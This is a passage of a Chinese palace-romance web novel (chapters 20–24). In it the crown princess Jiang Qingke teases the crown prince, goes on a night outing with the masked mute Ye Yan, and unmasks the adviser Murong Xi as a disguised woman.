“何人这么大胆,敢在丞相府的寿宴上下毒?” 她虽讨厌李玄尧,但也没到真盼他死的程度。 曹公公苦着脸叹气。 “咳,时常有的事儿。” “这有人铁了心要害殿下,又怎会分什么场合,当然是逮个机会就下手。” 江箐珂回席后,便跟着李玄尧离开。 朝相府门外走时,只见侍卫谷丰提着佩剑,疾步从府门外迎面跑来。 谷丰拱手礼拜。 “启,启......启禀殿下。” “属下已......已已经,通通通知大大......大理寺,很,很快,就会有有有人来......来查。” 李玄尧耐心听完后,颔首回道:“知道了,先回东宫。” “是。”谷丰侧身让路。 江箐珂一脸诧异地看着谷丰,在经过他身前时,忍不住停下来问了一句。 “你磕巴?” 谷丰点头。 “那今日在宫门前你跟其他侍卫给我请安时,怎么说得那么顺溜?” 谷丰不好意思地挠头笑了笑。 “回......回,回禀太子妃。” “属,属下,滥滥滥竽充数了。” 他指了指自己嘴巴,表示摆口型的意思。 江箐珂端详了几眼谷丰。 这这这……这气质,也也也……也不像夜颜。 出了相府门,上了马车,江箐珂一坐下,就调皮地想气人。 “殿,殿......殿下!” “你你你这......这东宫,风,风......风水可能,有有有点.....问题。” “身,身身边的,的......的人,不,不......不是哑巴,就,就......就是磕......磕,磕巴。” 李玄尧本就心情不好,被江箐珂这么一闹,脸黑得跟浸了墨似的。 他咬着后槽牙,怒目瞪着江箐珂。 “能不能好好说话?” 偏偏江箐珂皮得很,摇头道:“不,不,不......不能!” 李玄尧气得一拳砸在桌子上。 “信不信,本宫杀了你?” 江箐珂乐此不疲,继续学着谷丰说话气李玄尧。 “当,当......当我怕你啊。” 她竖起大拇指,特有底气地往自己背后指了指。 “妾......妾,妾身!背,背......背后.......有......有五五五......五十万,大,大,大军!” 李玄尧挑了下眉头,沉沉地压下了一口气。 “......” 五十万江家军的兵权是李玄尧最渴望的。 被江箐珂拿捏了死穴,他无招可使。 后脑勺靠着车壁,他无奈地抬手揉了揉眉心,最后闭目养神,不再搭理江箐珂。 马车离开左丞府,穿过几条乌衣巷口。 江箐珂闹够了。 她安安静静地坐在那儿,又透过车窗看窗外的京城市井。 “要是夜里能出来逛逛就好了,我都没见过京城的夜色。” 车内安静无声。 李玄尧没搭理她。 江箐珂转而看向李玄尧,终于关心了一句。 “听说你身边的小太监被毒死了,殿下没事吧?” 李玄尧终于有点反应。 眼皮缓缓掀开,他觑了眼江箐珂,态度甚是冷淡。 “怎怎怎么,爱爱……爱妃很,很很……很盼着,本宫死?” 话落,李玄尧狠狠瞪了江箐珂一眼。 江箐珂被逗得笑出了声。 她头摇得跟拨浪鼓似的,眼神诚恳道:“妾身可不想殿下出事,妾只想殿下能长命百岁。” 李玄尧恢复了正常。 “这还像句人话。” 可谁知江箐珂又补了一句。 “殿下可别误会。” “妾身是担心殿下死了,皇上让妾身给殿下陪葬,或者把我送到尼姑庵去,一辈子与青灯古佛为伴。” “所以,殿下得好好活着,要长命百岁。” 李玄尧气得没了脾气,似笑非笑地看着江箐珂,欲言又止。 马车缓缓行至朱雀大街,朝着皇宫的方向而去。 两人都不再说话,马车里静默无声。 李玄尧凝眉思索着什么。 江箐珂则坐在李玄尧的对面,双手抱在胸前,定定地凝视着李玄尧。 她端的仍是那清冷孤傲的蛮横姿态,可唯独看李玄尧的眼神多了点别的情绪。 李玄尧被瞧得不自在。 忍了大半晌,终于抬眸睨了眼江箐珂。 “为何一直用这种眼神看本宫?” 江箐珂其实是想起了今日从那些贵女口中听到的八卦。 想着想着,就想起了那句可怜之人必有可恨之处,可恨之人亦有可怜之处。 她满眼同情道:“当时应该很疼吧?” 李玄尧被问得一头雾水。 墨眉微挑,迷惑道:“什么很疼?” “坠马后,被马蹄子踩的那脚。” 江箐珂边说边做出感同身受的痛苦表情。 “鸡飞蛋打的滋味,肯定很痛。” “……” 一瞬的无语过后,李玄尧冷着脸道:“既然知晓,是不是不揭人痛处比较礼貌?” 同情的眼神登时消失殆尽,江箐珂撇嘴偏头。 “明明是殿下先开口问我的。” “……” 眼不见为净。 李玄尧摇了摇头,闭目养神,懒得再同她废话。 ** 翌日。 天暗下来,曹公公时隔多日来了凤鸾轩。 江箐珂本以为李玄尧又要送夜颜来与她同房,都准备好鞭子要抽人了,没想到曹公公却请她出宫。 “殿下体谅太子妃,看太子妃在宫内憋闷,便安排了马车,让奴才陪太子妃去京城的夜市庙会逛逛。” 江箐珂美眸圆睁,惊讶、欢喜依次在眼底闪过。 李玄尧这是走怀柔策略了? 换了身轻便的衣裙,简简单单地用一条发带梳了个兔耳髻,再在腰间别着她的龙刺鞭后,江箐珂便跟着曹公公出了东宫。 西侧宫门外,幽暗的墙影中,一辆低调的马车已候在那处。 一个马夫,两个长随小厮,都是黑甲卫乔装打扮的。 撩开车帘,钻进马车的刹那,江箐珂的动作僵滞了一瞬。 她万万没想到,车里竟然还坐着一个人。 男子玉冠束发,狐狸面具遮颜,一身藏青圆领衣袍,是平民百姓也买得起的料子。 只是那狐狸眼狭长纤细,根本看不清面具下的那双瞳眼。 目光相对,男子最先起身,冲江箐珂躬身行了个拱手礼。 尽管对方戴着面具,江箐珂还是一眼便认出了男子。 是夜颜。 第20章 你可对我动过心 马车摇摇晃晃,轧着京城内的石板路,一路朝最热闹的坊区而去。 江箐珂单手拄着腮,一瞬不瞬地瞧着夜颜。 车内也只点了一盏吊灯,烛光幽暗,即使面具上露着两个洞,她也无法窥探到那双眼睛。 江箐珂甚至怀疑,夜颜是故意装哑巴,只是不想让她凭声识人罢了。 “太子殿下还真是费心,竟然想到这个法子,让你跟我培养感情。” 心中生出一丝怨怼,她忍不住嘟嘴抱怨。 “你到底是谁,为何不能以真面目见我?” 夜颜颔首不答。 江箐珂便继续试着说服。 “说实在的,太子殿下也没必要这么防着我的。日后,他若不想让你我相见,不让你来凤鸾轩便是。” 夜颜仍没个反应。 烛火随着马车明灭摇曳,车厢内此时安静如斯。 江箐珂直勾勾地盯着夜颜,在斟酌突袭摘掉他面具的成功性有多大。 默了须臾,她开口试探。 “莫非,你是太傅白隐?” 柔荑素手伸到夜颜身前,掌心向上,想求一个“是”与“非”的答案。 夜颜终于有了点反应。 他拿起茶桌上事先备好的炭笔和折册子,行云流水的几笔下来,写下三行字。 【人之情起于目,由目入心,久而生念生情。】 【若未曾一见,别时自无所思,易无凭牵挂,最易淡忘。】 【太子妃何必庸人自扰。】 江箐珂念了一遍后,被逗笑了。 “你还挺自信。” “凭什么就认为本宫看到你的脸,便会看上你?” 江箐珂倏地往夜颜的面前靠近了一些。 “夜颜。” 她声音轻轻柔柔的,好似春夜的风,一下接一下地拂过夜颜的耳边。 “那你呢,把我从头到脚都看光了,你可对本宫生了不该有的情意?” 面与面的距离又被江箐珂一点点拉近。 而她的手也在蠢蠢欲动,欲要趁夜颜疏于防备时,摘掉他这张狐狸脸。 “夜颜,你虽是奉殿下之命与我同房,可几次翻云覆雨时,可有对我动过心?” 视线下移,她柔声说完一句话,轻轻的一吻旋即落在了狐狸嘴上。 一下又一下,江箐珂瞥见夜颜的喉结一滚再滚。 他抬起手,抚上她的脸。 隔着那两个狭长的狐眼洞洞,在暖黄却幽暗的烛火中,细细打量着她。 江箐珂仰着面颊与他对视,一双美眸宛若浸了秋水一般,潋滟靡丽。 她微微勾唇,脸上是柔情蜜意,心里却如同猎人一般理理性沉静,等待着下手的最佳时机。 等啊等啊,夜颜的食指按在她的眉间。 他随手一点,就顶着江箐珂的脑门,给她推开半丈远。 而江箐珂伸出的手,也抓了个空。 诡计没得逞,江箐珂恹恹坐到一旁,嘟囔了一声:“小气。” ...... 夜里的京城灯火阑珊,热闹非常。 江箐珂与夜颜一前一后地走着,曹公公和黑甲卫则紧跟其后。 江箐珂见什么要什么。 曹公公只管带着小厮,跟在两人身后付银子、拎东西。 后来,他们进到一家茶楼,选了个临窗的位置落座。 品茶之时,江箐珂瞥见茶楼下的街边有一对兄妹。 哥哥牵着妹妹的手,在布偶摊前给妹妹买了个布老虎。 江箐珂看着那兄妹两人,不由想起了远在西延的兄长江止。 正想得出神,夜颜突然拍了拍她的手,将写好的字拿给她看。 【想什么,如此出神?】 “想我兄长。” 【你大哥江止?】 江箐珂点头:“你知道他?” 夜颜又写。 【可他不是江老将军的义子吗?】 “义子怎么了,他对我很好,跟亲哥哥一样。” 江箐珂再次看向那对兄妹。 似曾相识的情景,唤起了泛黄的记忆。 闲着无聊,江箐珂便同夜颜讲起了她与江止的事...... 要说江止,身份有些特殊。 他虽是将军府的长子,却不是亲的。 江止本来姓宋,父亲是江老将军的一名得力部下。 江止的母亲因生他时难产而死,留下父子俩相依为命。 可在江止十岁那年,他父亲又不幸战死疆场,留下他孤苦无依。 江箐珂的母亲看这孩子可怜,便把他收为义子,改名为江止。 因江止比江箐珂的哥哥大几个月,便成了将军府的长子。 江止刚来将军府家时,沉默寡言,不爱说话,脾气还倔得恨。 因父亲的死,他整日都是闷闷不乐的样子。 年纪不大,却整天想着要去杀突厥人,为他父亲报仇。 是以,他时常会跟江箐珂的亲哥哥江旭,一起跑出将军府,偷偷遛到城去找突厥人报仇。 江箐珂发现过几次,每次都会跑去告诉父亲和母亲,害得江止和江旭没少被罚。 那时江止快恨死她了。 时常背着父母,指着江箐珂的鼻子,咬牙切齿威胁她。 “再敢告状,看我不揍死你。” 可不管江止怎么吓唬她,江箐珂下回还敢。 江箐珂那时候因为这事儿,没少被江止和二哥江旭吊起来打。 她现在能这么皮实,也都是拜他们所赐。 那时江止跟她最常说的几句话就是:“江箐珂你有病吧?”、“江箐珂你是不是有大病?”、“江箐珂你找削是不是?” 江箐珂那句口头禅“是不是找抽”,就是这么来的。 后来,母亲走后,张氏成了将军府的女主人,紧接着二哥哥江旭意外溺河而死,看着父亲对一个外室转正室的继母如此宠爱,江箐珂那时经常气呼呼地闹着要离家出走。 每次离家出走,江止都会陪着她。 她倔强地走在前面,二八少年则扛着红缨枪,一手提着大刀,扬了二正地跟在江箐珂的后面,朝着京城的方向,一走就是几里地。 直到江箐珂走累了,江止再一步一步地把她给背回将军府。 一个没了父母双亲,一个失去母亲和亲哥哥,也失去了父亲独一无二的宠爱。 同样的孤独和悲伤,让他们成为了彼此的依靠。 在父亲只知偏袒继母和江箐瑶的这些年里,江止于江箐珂来说,可以说是亦兄亦父。 第21章 别误会,只是可怜你 一说起西延,说起江止,江箐珂就像是打开了话匣子,越说越来劲。 “继母给江箐瑶的东西总是极好的。” “除非是在父亲面前要做做样子时,继母才会一视同仁。” “我气不过,便总是抢江箐瑶的东西。” “有时把江箐瑶欺负狠了,父亲便会罚我跪祠堂,还不准下人给我送饭。” “只有江止,会半夜翻进祠堂,偷偷给我送碗面或者肉包子。” 想起小时候的事,江箐珂心中五味杂陈,不由笑了笑。 “我们还一起去山上掏鸟蛋、打野兔。” “一起练剑打拳,一起去书院跟夫子学之乎者也......” “一起爬到高高的城墙上,看日出日落、赏千里雪景、数日月星辰。” ...... 待喝茶润嗓时,江箐珂看到夜颜低头摩挲着手中的茶盏,情绪好似有些低落。 “是不是我讲得太无聊了?”她问。 夜颜摇头,提笔回她。 【甚为有趣。】 “可为何我觉得你不高兴?” 【在下是羡慕,太子妃所言之事,皆是在下未曾经历过的。】 “那你小时候怎么过的?” 江箐珂推了推夜颜的手臂,催促道:“快给本宫讲讲。” 炭笔悬在折册子之上,夜颜默了许久,才落笔写下几行字。 【躲躲藏藏,见不得光,恐惧,仇恨,不甘,便是在下的儿时。】 【很无趣,且我跟太子妃不一样,不是说来话长,而是写来话长。】 “不一样”三个字,像三根刺。 刺眼、刺心。 看得江箐珂心头隐隐酸涩了一下。 虽不知夜颜经历了怎样的苦难,也不知该说什么话安慰他,但江箐珂今夜愿意做个倾听者。 “无妨,你可以慢慢写给我看。” 夜颜摇头。 茶桌上的气氛变得沉闷起来。 虽然隔着狐狸面具,看不到夜颜的眼神表情,但江箐珂却能感受到他的情绪。 她探头看向轩窗外。 今夜是十六。 十五的月亮,十六圆。 江箐珂头顶那大大的银盘,突然迸出个念头。 她转头看向夜颜,意兴盎然道:“夜颜,你儿时没做过的事,本宫今晚就陪你做一件。” 【何事?】 “去京城的护城墙上赏月。” 江箐珂说做就做。 都不给夜颜同意或拒绝的功夫,她就拉着人,叫上曹公公一起朝京城的城门而去。 东宫令牌一出,城门守将放行,江箐珂与夜颜便登上了巍峨高耸的护城墙。 一块块大石头堆砌而成的护城墙很坚固也很高,大约七八层阁楼那么高。 可即使这样,江箐珂还是觉得不够。 她抬手指了指城墙上的飞檐瓦顶。 “到上面去,再高一层,可以看得更远。” 话落,江箐珂几脚助跑,将曹公公的背作为借力的弹跳点,腾空跃起,龙刺鞭甩出,借着上面的倒刺儿稳稳勾住檐角上的骑凤仙人,最后跳到了檐顶上。 夜颜更是厉害,只是借曹公公的背点了一脚,就跳了上来。 可怜的只有曹公公的背。 站的高,望得远。 墙内墙外的景色尽收眼底。 沉寂的,热闹的。 一墙之隔,两侧风景却迥然不同。 一边是六街华灯如昼,热闹喧嚣不休;一边则是远山林木沉沉,月照千里,静谧如洗。 同一轮月下,全然两个尘世。 江箐珂和夜颜一同望向城外。 月色朦朦胧胧,让人恍然觉得像是陷进了一场静谧的梦境,连耳边的风声都带着几分温柔与缱绻。 “江止说了,到了高处,必须得来几嗓子。” 话落,江箐珂便将双手拢在嘴旁,冲着远方,扯着脖子高喊。 “江箐瑶,你这个瘪、犊、子!” “张氏,下辈子你定是下、堂、妇!” 江箐珂喊完后,一脸的舒爽劲儿。 “夜颜,你快也喊几声,把你想骂的人都骂一顿,特别畅快。” 夜颜摇头,打了个手语,表示自己不能说话。 江箐珂从夜颜怀里掏出炭笔和折册子、 “把你想喊的写出来。” 她仰着下巴尖,故作高冷道:“本宫今夜看你可怜,愿意当你的嘴,替你喊几嗓子。” 夜颜犹豫了片刻,伸手接过,写了一行字。 【天道昭昭,岂容尔等如愿?】 江箐珂看了眼,拢着嘴,转身冲着京城里的方向扯脖子喊,还自由发挥了下。 “龟孙子们,天道昭昭,岂容尔等如愿?去,吃,屎吧!” 言毕收音,江箐珂看向夜颜。 “痛快吗?” 夜颜颔首。 似乎上了瘾,又写了一句。 【必让尔等都死在我的剑下。】 喊完这一遭,江箐珂又提议。 “也不能光喊不好的,得同至亲之人问几句安才是。” 于是乎,江箐珂又扯着脖子,做起了示范。 “母亲,我当上太子妃了。” “现在过得很好。” “有时间,可不可到梦里来看看我?” 话落,江箐珂用手肘碰了碰夜颜:“该你了,快写。” 夜颜垂头拿笔,坐在那里斟酌。 不知为何,他迟迟未能下笔。 而拿笔的手背,也因过度用力,而青筋凸起。 良久,他落笔写字,仿若将所有的情绪都注入到那一笔一划中。 接过折册子后,江箐珂看了眼上面的那行字。 【母亲勿忧,孩儿必堂堂立世,长命百岁。】 …… 月色朦胧,夜风吹拂耳畔,好似是那至亲之人回应的轻声细语。 一只苍鹰从他们头顶飞过,逆着月光朝高空而去,仿若一道剪影。 苍鹰一圈接一圈地向上盘旋,同时俯视着浮华三千。 月色笼罩下的城墙之上,一个站在檐瓦上,尽情地展臂拥抱月光和清风;一个则坐在那里,静静地凝望着那个站着的人。 苍鹰越飞越高,高到那两道身影在鸟瞰的视野中缩成两个点,最后与夜色下的京城融为一体。 万顷山河,遥遥星野。 那里上演着一场又一场的不期而遇和久别重逢。 ** 夜颜的真容看不到,江箐珂决定另辟蹊径。 按照夜颜宽肩窄腰、高大健壮的身材,江箐珂把东宫所有带把儿的和李玄尧的亲信幕僚,都做了一番筛选。 她把能说话的,不能说话的,全都算在内,列出一个名册来。 先从好欺负的下手。 她命喜晴将人叫到凤鸾轩,让他们把上衣都脱了。 胸前没疤的,就从名册上划掉。 起初,喜晴还不好意思。 一有男子当着她的面脱衣服,就羞得双眼紧闭,不好意思抬头看。 可到后来,她都亲自上手扒。 尤其是在扒东宫黑甲卫的衣服时,她脸也不红了,手也不抖了,眼睛也睁得开了。 一听说要把衣服,喜晴两眼放光,比江箐珂还来劲。 “太子妃,请看胸!” 江箐珂看她那不争气的模样,伸手用拇指擦了擦喜晴的嘴角。 喜晴紧张道:“可是奴婢的口脂花了?” “不是,是你哈喇子要淌出来了。” 看着被划得差不多的名册上仅剩下几人,江箐珂犯起了难。 因为,剩下的都是不好欺负的。 第22章 李玄尧的大秘密 端午临近,天气也渐渐热了起来。 是日,午时。 侍卫谷丰替曹公公跑腿儿,给江箐珂送了碗紫苏薄荷饮。 喜晴送谷丰出殿门时,谷丰磕磕巴巴地问道:“东东东......东宫许多,侍侍侍卫都被,叫叫叫来,脱脱衣服。” “为为为......为何,我们四个不,不,不叫?” 喜晴笑道:“你你你你......你们四个,还还还......还盼上了不成?” 江箐珂坐在殿内将两人的对话听得一清二楚。 她在东宫的动作这么大,李玄尧那边肯定知晓。 他一直都未出面阻拦或训斥什么,说明夜颜这人的身份极其隐蔽。 送走谷丰的喜晴回到殿内,亦是疑惑道:“太子妃为何不查谷丰、谷俊那四名侍卫?” “不用查也知道,夜颜不是他们。”江箐珂笃定道。 要说李玄尧的这四位贴身侍卫,不仅武艺了得,也很有特点。 谷丰是个磕巴,还憨憨的。 谷俊则是个脸皮薄的。 他一遇到女子,就爱脸红,跟个未出阁的黄花大闺女似的。 而谷羽...... 则,有点难评。 走哪儿都是一股忧郁气质。 坐在凭栏上休息,他也得一手抱着剑,一手撑着额头,摆个帅气的姿势,坐在那里故作深沉。 四个人当中,也就谷昭正常些,是个少言寡语的老实之人。 这四名侍卫的气质没法跟夜颜比。 江箐珂都不用扒他们衣服看胸,就知道他们都不是夜颜。 扫了眼名册,喜晴道:“现在东宫里能查的,就只剩慕容公子和白太傅了。” 是啊,东宫里能查也就这两个人了。 可李玄尧的幕僚和亲信何其多,且都在宫外。 另外还有暗卫。 暗卫暗卫,之所以叫暗卫,就是躲在暗处,不为人所知的。 江箐珂连李玄尧有几名暗卫都不知道。 曹公公那边套过话,也没问出个所以然来。 其他侍卫旁敲侧击地问过,都是些一问三不知的人。 江箐珂看着名册上的两个人名,迷茫起来。 太傅白隐最有可能是夜颜。 但是想扒太傅的衣服,扒不是问题,问题是要受到道德谴责。 毕竟他是李玄尧的老师。 大周是礼仪之邦,自是要尊师重教的。 她扒的是白隐的衣服,实则扒的是天下文人学士的尊严。 真干了,她得被朝中多少大臣口诛笔伐? 白隐得留在后面,慢慢计划才是。 那就只剩白衣飘飘的慕容熹了。 同样是哑巴,平日里也带着面具示人,和夜颜的共同点最多的。 可终归是气质阴柔,差了点意思。 看着慕容熹的名字,江箐珂再三思索,得出一个结论。 有时,越是不可能的人,就越有可能。 反正闲来无事,扒扒看又如何? 于是,她便命喜晴寻机去将慕容熹给绑来。 喜晴领命出去不到半个时辰,就把慕容熹给五花大绑地带到了凤鸾轩。 “这么快?” 江箐珂惊讶喜晴的办事速度。 喜晴一副毫不费力的骄傲模样。 “慕容公子本就一副弱不禁风的样子,还没什么防身本领,奴婢拿捏他简直就跟抓鸡崽子似的,轻而易举。” 看着慕容曦嘴里塞的布团,江箐珂梗了下脖子。 “他一个哑巴,你塞他嘴作甚?” 喜晴也愣了一下,“是哦。” 她立马取出了那布团。 江箐珂看着慕容熹摇了摇头。 这不用扒衣服,都觉得没戏。 若真是夜颜,岂会如此乖乖就范。 可人都绑来了,也不能让人家白来一趟。 正好摘掉慕容熹的面具,瞧瞧他长了个怎样的脸,竟能得长公主的青睐。 夜颜的真容看不到,看看慕容公子的也不错。 殿门一关,江箐珂就同喜晴下令。 “面具摘了,上衣扒了。” 慕容熹的情绪突然异常地激动。 他身子蠕动,腿蹬脚踹的。 嘴里还乌拉乌拉地嘶喊着什么,可惜嗓子坏了,发出的声音暗哑生涩,含糊破碎,根本不成声。 喜晴一边扒慕容熹的衣服,一边好声好气地安抚他。 “慕容公子大可放心。” “我们太子妃就只看看,什么也不做,看完就放你走。” “再说,你一个大男人,看几眼......” 衣服扒到后半段,喜晴那后半句“又怎样”就变了调。 似是不太确认,她伸出指头,按了按那围在胸前的布帛。 “太子妃!” 喜晴回头看向江箐珂,眼底满是错愕之色。 江箐珂察觉到异样,腾地从摇椅上站起,快步走到慕容熹的身前。 慕容熹恼羞成怒地瞪着她,布帛层层包裹的胸脯气得上下剧烈地起伏。 就算是夜颜,可挡胸口的伤疤也不用围这么多层吧? 美眸眨了眨,江箐珂难以置信地盯着眼前的场景看了好半晌。 “女的?” 喜晴也不太敢确认。 她伸手将那厚厚的布帛扒开一条缝,探头朝里面瞧了一眼,然后看向江箐珂用力点头。 江箐珂也好信地探过头去,朝那缝里又确认一眼。 实打实的两团挤成了夜颜根本没有的缝儿。 不顾慕容熹的反抗挣扎,江箐珂掀开了他脸上的银制面具。 一张眉清目秀的女儿脸水灵灵地撞进了她的眼帘。 本就是个美人胚子,若稍施粉黛,也是个千娇百媚的俏娘子。 江箐珂傻眼了。 慕容公子竟然是个女的,长得还怪好看的。 原来越不可能的,就是不可能,但会是另一种可能。 之前慕容熹身上透出的怪异,如今都有了答案。 她竟是女扮男装。 可,哪有女人给太子当幕僚的? 还天天往捧着个古琴往东宫跑。 江箐珂捂住嘴巴,像是发现了什么不得了的秘密。 第23章 殿下可舍不得妾身死 结果意外又突然。 杂七杂八的念头一股脑儿地冒出来,江箐珂和喜晴都怔在那里,茫然不知所措。 殿门外,杂乱又急促的脚步声纷沓而至。 没有太监的高唱,也没有礼貌的三叩门,直接便是“嘭”的一声巨响。 门闩崩裂,木屑飞溅,好好的殿门被人从外面一脚踹塌,吓得江箐珂和喜晴都打了个激灵,惊恐地看向殿门。 “都守在外面!” 李玄尧一声怒吼,几个箭步冲到慕容熹的身前。 慕容熹狼狈地坐在地上,在看到李玄尧的那个瞬间,所有的委屈都随着泪水夺眶而出。 瞥见她衣衫不整,李玄尧立马脱下自己的外袍,罩在了慕容熹的身上。 匕首割断绳索,慕容熹扑进李玄尧的怀里。 她泪花簌簌地哭个不停,样子好不可怜。 一瞬间,江箐珂觉得自己成了一个十足的大恶人。 李玄尧背对着江箐珂和喜晴二人,严声质问:“是谁把她绑到这里的?” 那声音仿若淬了冰似的,冷厉深寒,听得人脊背一凉。 喜晴立马下跪磕头,怯怯道:“回禀太子殿下,是奴婢。奴婢罪该万......” “是我命喜晴把人绑来的。” 江箐珂坦荡开口,打断了喜晴的话。 “殿下若是想发火,尽管冲我来。” 李玄尧缓缓起身,转头看向江箐珂。 怒火在他眼底燃烧,锻造出的眸光锋锐无比,好似一把利剑,穿破空气,堪堪朝她刺来。 “江箐珂!” “你平日里骄横胡闹,本宫可以不管。” “但你万万不该触碰本宫的底线,碰本宫的人!” 虽说慕容熹今日是受了委屈,可江箐珂一点都不觉得理亏。 她面无表情地看着李玄尧,漠声反问:“所以,殿下藏个不清不白的女子在东宫,现在反倒怪妾身发现了,是吗?” 李玄尧厉声驳斥。 “她不是不清不白的女子。” “还有,这里是本宫的东宫,不是你江箐珂的东宫。” 目光对峙,李玄尧突然扬声唤道:“来人!把喜晴拉下去,杖责二十。” 江箐珂登时就冷下脸来。 她踱步逼至李玄尧的身前,当着他的面儿,朝步入殿内的谷丰和谷羽甩了一鞭子过去。 啪的一声脆响,刺龙鞭如同游蛇一般在半空中舞动,最后重重抽打在地面上,阻断了那两人的步子。 “妾身说了,是我命喜晴去绑的人。” 江箐珂一字一句,端的是将门之女那寸步不让的傲气。 “奴才忠心侍奉主子,何罪之有?” 她侧眸冷冷睨向那哭得梨花带雨的慕容熹,神色漠然,语气平静之中又透着股狠劲儿。 “今日若敢打喜晴一杖,日后我见她就抽她一鞭子。” “要知妾身敢不敢......” 江箐珂回眸勾唇,看着李玄尧冷笑道:“殿下尽管试试看。” “你找死!”李玄尧咬牙道。 江箐珂扯唇笑得甚开,而得意的眸眼却是冷然依旧。 她故意气李玄尧。 “妾身知道,殿下可舍不得妾身死呢。” “......” 李玄尧无言,唯有眼珠子用力瞪着,后槽牙用力咬着,带着那下颌线都使劲绷着。 一番无声的眼神较量后,李玄尧收起周身戾气,转身将慕容熹抱起。 在踏出殿门前,他高声下令。 “太子妃禁足七日,无本宫准允,不得踏出此殿半步。” “凡有失职者,斩!” 破破烂烂的殿门被重新立起,工部派来的木匠一顿修补。 新门都不给换一扇,几块木板子,哐哐哐一顿敲,就将踹破的门洞给堵上了。 门从外面上了锁,曹公公派的黑甲卫日夜轮职看守。 虽是禁足,可每日的膳食茶点却是一点不差。 到了第五日,江箐珂还在琢磨慕容熹的事。 有件事她想不明白。 慕容熹若是李玄尧中意的女子,大可纳入东宫为才人、良娣,何须女扮男装在他身边扮幕僚? 还要整日戴着面具遮遮掩掩。 人想隐藏相貌,不外乎两个原因。 一是怕人认出来,想隐藏身份;二是,脸上有缺陷。 而慕容熹明显是第一种。 何种身份会是见不得人的呢? 喜晴见江箐珂凝眉沉思,关切道:“太子妃可是还在想慕容姑娘的事?” 江箐珂点头,从刚刚递到她面前的盘子里拿了个杨梅放到嘴里,结果酸得她五官乱飞。 勉强咽下果肉,她将籽吐出来。 “这杨梅怎么这么酸?” 喜晴回道:“曹公公刚刚送来的,说多吃酸的好,酸儿辣女,有助于太子妃生个小皇孙。” 皇孙二字,听起来异常讽刺。 就算是皇上敢认,她都不敢生。 “真是太子不急,太监急。” “我还没怀呢,就急着给我吃这些东西。” 话锋一转,江箐珂有些期待道:“夜颜今晚来?” “八成是。” 喜晴也不大确定。 她想了想,又递给江箐珂一粒杨梅。 “不过,这夜颜公子也是五日未来了。” “许是太子殿下的气儿终于消了,又开始为外面的流言蜚语烦心了吧。” 看着那盘水润多汁的杨梅,江箐珂就酸得倒牙。 她嫌弃地摆了摆手,示意喜晴赶紧将那盘杨梅拿下去。 “我吃不下,你喜欢可以拿去吃。” 江箐珂双脚一点,藤制的摇椅又开始前前后后地晃悠。 她窝在椅子里,继续琢磨。 “慕容熹。” 她窝在椅子里,继续念叨着:“慕,容,熹?” 念着念着,一个人名在她脑海里一闪而过。 江箐珂突然想起左丞府寿宴那日,那几名京城贵女们在竹林凉亭里嚼的舌根。 懒洋洋的身子猛然坐直,晃动的藤椅也随其戛然静止。 “太子妃,怎么了?” 喜晴疑惑道。 江箐珂一瞬不瞬地瞧着喜晴,目光灼灼。 “慕容熹、穆汐,这两个名字,你听起来的第一感觉是什么?” 喜晴歪头将两个名字重复了一遍。 然后回道:“两个名字好像啊。不看字,只是听,就只差了一个字。” 江箐珂用力点头,脑子里的逻辑线逐渐清晰。 “对,穆汐,前太傅兼内阁首辅穆大人的女儿,是罪臣之女。” “按照大商律法,她本该要被送到教坊司充官妓的。” “但,殿下与穆汐情谊深厚,一定是舍不得她沦为官妓,便寻了个法子救穆汐于囹圄,让她女扮男装,充当幕僚,留在他的身边。” 这也是为何李玄尧无法将慕容熹纳入东宫的原因。 因为她的身份见不得光。 喜晴一点就通。 “难怪她要戴着面具,敢情是怕身份暴露,惹来祸端。” “可殿下......” 喜晴将声音又压低了许多。 “不是不行吗?” “这留着姑娘在身边,有什么用啊。” 第24章 妖精的魅惑 “殿下不行,是碍着他当太子了,还是碍着他娶我了?” 江箐珂撇了撇嘴,重新窝回摇椅里,蹬腿带着椅身又吱呀吱呀地晃悠了起来。 “或许是他们两情相悦,有情饮水饱,不开荤腥也行呗。” “再说,李玄尧身份尊贵,权富在握,又生得一副好皮囊,有几个女子在身陷困境时,会拒绝这种靠山?” 喜晴点头附和。 “是这个理儿。” “可这穆汐姑娘,难道就只能以慕容公子的身份,无名无分地留在殿下身边吗?” 江箐珂耸了耸肩,语气不咸不淡。 “那就是他们自己的事了。” 在嫁进东宫前,江箐珂便很清楚一件事。 李玄尧不会是她一个人的夫君。 更何况,现在她对李玄尧也无半点夫妻情分,他的那点破事更是一点兴趣都没有。 转头望向轩窗外,看着满院开得正盛的春花,江箐珂莫名地烦躁起来。 只因,她刚刚想起夜颜这个人。 毕竟有过数次夫妻之实,说一点不在意、不走心,那是假的。 可她和夜颜注定是见不得光,也走不到一起的。 用力甩了甩头,散去脑海里的那些缠绵悱恻,江箐珂双手轻拍了几下脸,让自己清醒些。 真希望夜颜是个丑八怪。 ...... 夜里。 江箐珂都要熄灯睡了。 殿门外的铜制门锁窸窣碰撞了几下,夜颜便戴着那副狐狸面具,穿着一身墨绿色长袍,闲庭信步地踏进了殿内。 他长身玉立,气质矜贵卓然,袍摆轻轻飘动,宛若一位狐面人身的妖仙款款而来。 江箐珂看得恍了神,直到夜颜在她面前坐下。 一旁的喜晴心思伶俐,早已将笔墨纸砚端来,放在了两人之间的茶桌上,然后悄声退下。 “今天不用我戴眼罩?”江箐珂问。 夜颜提笔润墨,力透纸背,写下一行字。 【在下刚到,太子妃就迫不及待想熄灯同房?】 “......” 江箐珂梗在那里,冷脸瞪了夜颜几眼后,凶道:“谁想跟你同房。” 她就是上次见面对他太好了。 江箐珂拿起皮鞭,作威作势地抽了下桌边。 “蹬鼻子趴脸,找抽是不是?” “别以为我陪你爬城墙看过月亮,就对你有点什么。” “一个无脸怪,你也配!” 夜颜顶着那张狐狸面具,姿态闲适地倚坐在矮榻的扶栏上,微微歪头看着她。 他右侧长腿弓起,单手搭在膝盖上。 一身质感极佳的长袍自然垂叠,宽松随性,尽是翩翩公子的风流闲雅之态。 也不知为何,虽然隔着面具,江箐珂却觉得夜颜好像在看着她笑。 “不知本宫是因谁被禁足的吗?” 她故意挑刺儿闹情绪:“还好意思空手来?” 可回应江箐珂的仍是夜颜的静默,让她那积蓄起来的爆脾气都像是砸在了棉花上。 偏头看向香炉里袅袅飘出的几缕青烟,江箐珂沉了沉气,转而问夜颜。 “你是李玄尧身边的人,想来也是知晓慕容熹的身份咯?” 殿内寂静无声,唯有蜡烛偶尔爆出灯花时发出的噼啪声。 夜颜不回应,江箐珂便权当他是默认了。 她甚不悦道:“你们都知道,就我蒙在鼓里,很不公平。” 